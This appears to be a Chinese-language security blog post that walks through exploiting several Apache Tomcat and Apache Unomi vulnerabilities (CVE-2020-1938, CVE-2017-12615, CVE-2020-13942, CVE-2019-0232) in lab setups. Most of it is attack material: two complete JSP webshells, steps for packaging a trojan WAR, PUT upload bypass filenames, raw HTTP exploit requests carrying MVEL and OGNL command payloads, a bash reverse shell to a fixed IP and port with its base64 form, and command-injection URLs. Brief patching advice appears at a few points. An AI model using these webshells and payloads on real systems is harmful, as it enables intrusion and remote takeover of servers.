Tomcat常見(jiàn)的漏洞總結(jié)
Tomcat常見(jiàn)漏洞
Tomcat是Apache 軟件基金會(huì)(Apache Software Foundation)的Jakarta 項(xiàng)目中的一個(gè)核心項(xiàng)目,由Apache、Sun 和其他一些公司及個(gè)人共同開(kāi)發(fā)而成。由于有了Sun 的參與和支持,最新的Servlet 和JSP 規(guī)范總是能在Tomcat 中得到體現(xiàn),Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 規(guī)范。因?yàn)門omcat 技術(shù)先進(jìn)、性能穩(wěn)定,而且免費(fèi),因而深受Java 愛(ài)好者的喜愛(ài)并得到了部分軟件開(kāi)發(fā)商的認(rèn)可,成為目前比較流行的Web 應(yīng)用服務(wù)器Tomcat 服務(wù)器是一個(gè)免費(fèi)的開(kāi)放源代碼的Web 應(yīng)用服務(wù)器,屬于輕量級(jí)應(yīng)用服務(wù)器,在中小型系統(tǒng)和并發(fā)訪問(wèn)用戶不是很多的場(chǎng)合下被普遍使用,是開(kāi)發(fā)和調(diào)試JSP 程序的首選。對(duì)于一個(gè)初學(xué)者來(lái)說(shuō),可以這樣認(rèn)為,當(dāng)在一臺(tái)機(jī)器上配置好Apache 服務(wù)器,可利用它響應(yīng)HTML(標(biāo)準(zhǔn)通用標(biāo)記語(yǔ)言下的一個(gè)應(yīng)用)頁(yè)面的訪問(wèn)請(qǐng)求。實(shí)際上Tomcat是Apache 服務(wù)器的擴(kuò)展,但運(yùn)行時(shí)它是獨(dú)立運(yùn)行的,所以當(dāng)你運(yùn)行tomcat 時(shí),它實(shí)際上作為一個(gè)與Apache 獨(dú)立的進(jìn)程單獨(dú)運(yùn)行的
漏洞匯總

CVE-2020-1938文件包含漏洞
漏洞描述
? 該漏洞是由于Tomcat AJP協(xié)議存在缺陷而導(dǎo)致,攻擊者利用該漏洞可通過(guò)構(gòu)造特定參數(shù),讀取服務(wù)器webapp下的任意文件,如:webapp配置文件或源代碼等。若目標(biāo)服務(wù)器同時(shí)存在文件上傳功能,攻擊者可進(jìn)一步實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。
漏洞影響版本
Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31
不受影響版本
Apache Tomcat = 7.0.100Apache Tomcat = 8.5.51Apache Tomcat = 9.0.31
漏洞分析
? Tomcat在處理ajp協(xié)議時(shí)存在漏洞,可通過(guò)調(diào)用request.setAttribute為Tomcat設(shè)置任意request屬性。復(fù)現(xiàn)發(fā)現(xiàn)Tomcat ajp協(xié)議存在web目錄下任意文件讀取漏洞以及JSP文件包含漏洞。
? 當(dāng)ajp URI設(shè)置為非jsp路徑時(shí),Tomcat會(huì)調(diào)用DefaultServlet處理,此時(shí)會(huì)導(dǎo)致web目錄任意文件讀取漏洞。
? 當(dāng)ajp URI設(shè)置為jsp路徑時(shí),Tomcat會(huì)調(diào)用JspServlet處理,此時(shí)會(huì)導(dǎo)致JSP文件包含漏洞
漏洞復(fù)現(xiàn)

1.使用nmap掃描目標(biāo)是否開(kāi)啟了8009端口

2.使用poc掃描目標(biāo)網(wǎng)站
下載地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
這里是讀取ROOT路徑下的web.xml (默認(rèn)為ROOT)
如果想換路徑可以更改POC源碼里的/的位置更換成想要查詢的目錄(只能在webapps下)比如examples

防御方式
? 1.禁用AJP協(xié)議,在tomcat安裝路徑中找到/conf/server.xml文件,刪除或注釋下面這行代碼:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
? 2.升級(jí)到tomcat最新版本
?3.配置secret來(lái)設(shè)置AJP協(xié)議的認(rèn)證憑證,如:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
Tomcat后臺(tái)弱口令漏洞
Tomcat后臺(tái)存在弱口令,進(jìn)入網(wǎng)站后點(diǎn)擊登錄然后使用burp進(jìn)行爆破測(cè)試


????可以發(fā)現(xiàn)賬戶密碼是利用Authorization該授權(quán)字段以base64方式傳遞賬戶信息的
????發(fā)現(xiàn)加密方式后,拿去解密后發(fā)現(xiàn)他的數(shù)據(jù)傳輸是將賬戶與密碼用冒號(hào)進(jìn)行組合之后在用base64加密所傳遞的。構(gòu)造字段進(jìn)行爆破
????使用burp抓包后發(fā)送到 Intrude 模塊進(jìn)行暴力破解

????通過(guò)上面的驗(yàn)證得到tomat數(shù)據(jù)傳遞格式為 username:password ,使用burp模糊測(cè)試模塊中的 custom iteactor 自定義迭代類型的payload,該類型的payload共分為8個(gè)占位符,每一個(gè)占位符又可以指定簡(jiǎn)單列表的payload類型。再根據(jù)占位的數(shù)值,于每一個(gè)payload列表區(qū)進(jìn)行笛卡爾積生成集合組
????簡(jiǎn)單理解就是: 設(shè)置占位符,利用數(shù)學(xué)中的笛卡爾積進(jìn)行集合,去拼湊各種可能存在的payload可能列表
????設(shè)置格式如下:

????按照payload類型進(jìn)行設(shè)置Position參數(shù),比如我們要爆破Tomcat數(shù)據(jù)。設(shè)置第一個(gè)Position參數(shù)就是username參數(shù),然后再進(jìn)行添加paylaod字典。依次類推第二個(gè)參數(shù)就是冒號(hào) : ,第三個(gè)就是password字段。設(shè)置完成后再對(duì)數(shù)據(jù)字段進(jìn)行base64編碼就可以進(jìn)行爆破。設(shè)置方法如下:

????以上就是tomcat基礎(chǔ)認(rèn)證爆破,當(dāng)然我們還可以去自己收集匹配號(hào)的三個(gè)字段字典或者base64加密過(guò)的字典以及metasploit中的tomcat爆破,更加方便進(jìn)行爆破

????成功爆破出賬號(hào)密碼,然后使用base64解碼得出明文賬號(hào)密碼
????使用爆破出的賬號(hào)密碼登錄進(jìn)去后臺(tái)后發(fā)現(xiàn)有一個(gè)上傳頁(yè)面,直接上傳一個(gè)war木馬就可以

war木馬的制作過(guò)程
1.找到一個(gè)jsp的木馬
<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>
2.將sp木馬放入 jdk1.8.0_73bin 目錄下,然后在cmd輸出已下命令(注意是必須在java環(huán)境下的,必須使用管理員權(quán)限的)
jar cvf +部署的war木馬 +自己bin目錄下的jsp木馬
木馬制作成功
上傳制作的war木馬

可以看到已經(jīng)成功上傳了木馬

訪問(wèn)上傳的1.jsp目錄然后就可以執(zhí)行我們想要執(zhí)行的系統(tǒng)命令

CVE-2017-12615Tomcat遠(yuǎn)程代碼執(zhí)行漏洞(PUT請(qǐng)求)
漏洞介紹
????遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2017-12615) 影響:Apache Tomcat 7.0.0 - 7.0.79(7.0.81修復(fù)不完全)當(dāng) Tomcat 運(yùn)行在 Windows 主機(jī)上,且啟用了 HTTP PUT 請(qǐng)求方法,攻擊者通過(guò)構(gòu)造的攻擊請(qǐng)求向服務(wù)器上傳包含任意代碼的 JSP 文件,造成任意代碼執(zhí)行,危害十分嚴(yán)重
影響版本
????Apache Tomcat 7.0.0 - 7.0.81
漏洞利用前提:
????需Tomcat開(kāi)啟了HTTP PUT請(qǐng)求
漏洞原理分析
????Tomcat 的 Servlet 是在 conf/web.xml 配置的,通過(guò)配置文件可知,當(dāng)后綴名為 .jsp 和 .jspx 的時(shí)候,是通過(guò) JspServlet 處理請(qǐng)求的:而其他的靜態(tài)文件是通過(guò) DefaultServlet 處理的:可以得知,“1.jsp ”(末尾有一個(gè)和空格)并不能匹配到 JspServlet,而是會(huì)交由 DefaultServlet 去處理。
????當(dāng)處理 PUT 請(qǐng)求時(shí):會(huì)調(diào)用 resources.bind:dirContext 為 FileDirContext:調(diào)用 rebind 創(chuàng)建文件:又由于 Windows 不允許“ ”作為文件名結(jié)尾,所以會(huì)創(chuàng)建一個(gè) .jsp 文件,導(dǎo)致代碼執(zhí)行。
環(huán)境搭建
????下載Tomcat,安裝成功后,需要開(kāi)啟HTTP PUT請(qǐng)求,首先打開(kāi)Tomcat目錄,找到配置文件

????打開(kāi)之后,尋找readonly ,如圖,他被禁用了,禁止PUT上傳:

????找到 org.apache.catalina.servlets.DefaultServlet 方法,并添加以下命令,添加成功后重啟一下即可
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

漏洞復(fù)現(xiàn)
1.使用burp進(jìn)行抓包,將請(qǐng)求包發(fā)送到repeater模塊中,將GET請(qǐng)求方法改為OPTIONS,查看請(qǐng)求方法

2.發(fā)現(xiàn)啟用了PUT方法,使用PUT請(qǐng)求上傳jsp木馬
jsp馬:<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(newInputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

3.頁(yè)面狀態(tài)碼返回201,表示木馬寫入成功
4.到頁(yè)面中訪問(wèn)(ip+1.jsp) url:?http://219.153.49.228:47195/shell.jsp?cmd=ls%20/&pwd=023

5.該漏洞實(shí)際上是利用了window下文件名解析的漏洞來(lái)觸發(fā)的。通過(guò)構(gòu)造特殊后綴名,繞過(guò)Tomcat檢測(cè),讓Tomcat用DefaultServlet的邏輯處理請(qǐng)求,從而上傳jsp webshell文件
有三種方法可以進(jìn)行繞過(guò)
1 shell.jsp%20
2 shell.jsp::$DATA
3 shell.jsp/
CVE-2020-13942 Apache Unomi 遠(yuǎn)程代碼執(zhí)行漏洞
Apache Unomi簡(jiǎn)介
????Apache Unomi 是一個(gè)基于標(biāo)準(zhǔn)的客戶/數(shù)據(jù)平臺(tái)(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規(guī)則的個(gè)性化體驗(yàn),比如 GDPR 和“不跟蹤”偏好設(shè)置。其最初于 Jahia 開(kāi)發(fā),2015 年 10 月提交給了 Apache 孵化器。
????Apache Unomi 具有隱私管理、用戶/事件/目標(biāo)跟蹤、報(bào)告、訪客資料管理、細(xì)分、角色、A/B 測(cè)試等功能,它可以作為:
? Web CMS 個(gè)性化服務(wù)
? 原生移動(dòng)應(yīng)用的分析服務(wù)
? 具有分段功能的集中配置文件管理系統(tǒng)
? 授權(quán)管理中心
漏洞描述
????Apache Unomi 是一個(gè)基于標(biāo)準(zhǔn)的客戶數(shù)據(jù)平臺(tái)(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規(guī)則的個(gè)性化體驗(yàn),比如 GDPR 和“不跟蹤”偏好設(shè)置。其最初于 Jahia 開(kāi)發(fā),2015 年 10 月 Unomi 成為Apache 軟件基金會(huì)項(xiàng)目。在Apache Unomi 1.5.1版本之前,攻擊者可以通過(guò)精心構(gòu)造的MVEL或ONGl表達(dá)式來(lái)發(fā)送惡意請(qǐng)求,使得Unomi服務(wù)器執(zhí)行任意代碼,漏洞對(duì)應(yīng)編號(hào)為CVE-2020-11975,而CVE-2020-13942漏洞是對(duì)CVE-2020-11975漏洞的補(bǔ)丁繞過(guò),攻擊者繞過(guò)補(bǔ)丁檢測(cè)的黑名單,發(fā)送惡意請(qǐng)求,在服務(wù)器執(zhí)行任意代碼
漏洞影響版本
????Apache Unomi < 1.5.2
環(huán)境搭建
????使用docker一鍵搭建的vulhub靶場(chǎng),訪問(wèn)頁(yè)面 ip:8181
????通過(guò)8181和9443兩個(gè)端口都可以觸發(fā)漏洞,本次使用 8181端口進(jìn)行漏洞復(fù)現(xiàn)

漏洞復(fù)現(xiàn)
1.打開(kāi)靶場(chǎng)首頁(yè),使用bp進(jìn)行抓包,發(fā)送到Repeater模塊構(gòu)造數(shù)據(jù)包

2.將GET請(qǐng)求改為POST請(qǐng)求,刪除多余的字段,保留HOST,User-Agent和Content-Length字段,然后添加以下數(shù)據(jù),將dnslog換為自己的地址,然后發(fā)送數(shù)據(jù)包
POST /context.json HTTP/1.1Host: 目標(biāo)地址:8181User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/86.0.4240.198 Safari/537.36Content-Length: 495{"filters": [{"id": "boom","filters": [{"condition": {"parameterValues": {"test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"pingbr9yb9.dnslog.cn\");"},"type": "profilePropertyCondition"}}]}],"sessionId": "test"}


3.可以使用此漏洞來(lái)反彈shell,將bash反彈shell的命令進(jìn)行編碼,編碼在線地址為?(http://www.jackson-t.ca/runtime-exec-payloads.html)
bash -i >& /dev/tcp/192.168.1.6/4444 0>&1編碼后為bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
4.將編碼后的shell添加到以下poc的執(zhí)行系統(tǒng)命令的地方 ()
POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 483{"filters": [{"id": "sample","filters": [{"condition": {"parameterValues": {"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");"},"type": "profilePropertyCondition"}}]}],"sessionId": "sample"}

成功反彈shell

上面使用的是通過(guò)MVEL表達(dá)式執(zhí)行任意命令,以下使用OGNL表達(dá)式執(zhí)行任意命令
在漏洞首頁(yè)抓取請(qǐng)求包然后發(fā)送到Repeater模塊中構(gòu)造數(shù)據(jù)包,構(gòu)造的poc為
POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 1064{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{?#this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"sample"}

可以看到成功在 /tmp/ 目錄下成功創(chuàng)建了一個(gè)文件,也可以利用這個(gè)漏洞反彈shell

CVE-2019-0232 Apache Tomcat遠(yuǎn)程代碼執(zhí)行漏洞
簡(jiǎn)介
????Tomcat 服務(wù)器是一個(gè)免費(fèi)的開(kāi)放源代碼的Web 應(yīng)用服務(wù)器,屬于輕量級(jí)應(yīng)用服務(wù)器,在中小型系統(tǒng)和并發(fā)訪問(wèn)用戶不是很多的場(chǎng)合下被普遍使用,是開(kāi)發(fā)和調(diào)試JSP 程序的首選。對(duì)于一個(gè)初學(xué)者來(lái)說(shuō),可以這樣認(rèn)為,當(dāng)在一臺(tái)機(jī)器上配置好Apache 服務(wù)器,可利用它響應(yīng)HTML(標(biāo)準(zhǔn)通用標(biāo)記語(yǔ)言下的一個(gè)應(yīng)用)頁(yè)面的訪問(wèn)請(qǐng)求。實(shí)際上Tomcat是Apache 服務(wù)器的擴(kuò)展,但運(yùn)行時(shí)它是獨(dú)立運(yùn)行的,所以當(dāng)你運(yùn)行tomcat 時(shí),它實(shí)際上作為一個(gè)與Apache 獨(dú)立的進(jìn)程單獨(dú)運(yùn)行的
漏洞描述
????該漏洞只對(duì)Windows平臺(tái)有效,攻擊者向CGI Servlet發(fā)送請(qǐng)求,可在具有Apache Tomcat權(quán)限的系統(tǒng)上注入和執(zhí)行任意操作系統(tǒng)命令。漏洞成因是當(dāng)將參數(shù)從JRE傳遞到Windows環(huán)境時(shí),由于CGI_Servlet中的輸入驗(yàn)證錯(cuò)誤而存在該漏洞。CGI_Servlet默認(rèn)是關(guān)閉的
漏洞影響范圍
Apache Tomcat 9.0.0.M1 ~ 9.0.17Apache Tomcat 8.5.0 ~ 8.5.39Apache Tomcat 7.0.0 ~ 7.0.93
環(huán)境搭建
????環(huán)境:Java8+Apache Tomcat 8.5.39
1.安裝tomcat需要java環(huán)境,jdk下載地址(https://www.oracle.com/java/technologies/javase-downloads.html)
2.下載完后配置環(huán)境變量,輸出java -version驗(yàn)證是否配置成功

3.安裝tomcat8.5.39版本,下載地址(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/)

4.下載完成后進(jìn)行解壓然后配置tomcat,打開(kāi)Tomcat按目錄下的confweb.xml 取消以下兩項(xiàng)的注釋,否則訪問(wèn)cgi目錄會(huì)提示404,默認(rèn)情況下是注釋的
Web.xml文件?(兩處代碼都需要取消注釋)
<servlet><servlet-name>cgi</servlet-name><servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>cgiPathPrefix</param-name><param-value>WEB-INF/cgi-bin</param-value></init-param><init-param><param-name>executable</param-name><param-value></param-value></init-param><load-on-startup>5</load-on-startup></servlet><!-- The mapping for the CGI Gateway servlet --><servlet-mapping><servlet-name>cgi</servlet-name><url-pattern>/cgi-bin/*</url-pattern></servlet-mapping>
修改在conf/context.xml中的<Context>添加privileged="true"語(yǔ)句

5.在webappsROOTWEB-INF下創(chuàng)建一個(gè)cgi-bin文件夾,并在文件夾內(nèi)創(chuàng)建一個(gè)bat文件寫入


6.都配置完成之后進(jìn)入 bin目錄下運(yùn)行 startup.bat 啟動(dòng)tomcat

7.訪問(wèn)搭建后的頁(yè)面,若出現(xiàn)下圖則說(shuō)明搭建成功

漏洞復(fù)現(xiàn)
????1.在瀏覽器訪問(wèn),執(zhí)行net user 命令
http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
????執(zhí)行whoami命令
http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe
漏洞修復(fù)
受影響版本的用戶應(yīng)該應(yīng)用下列其中一項(xiàng)緩解。升級(jí)到:
Apache Tomcat 9.0.18或更高版本Apache Tomcat 8.5.40或更高版本Apache Tomcat 7.0.93或更高版本
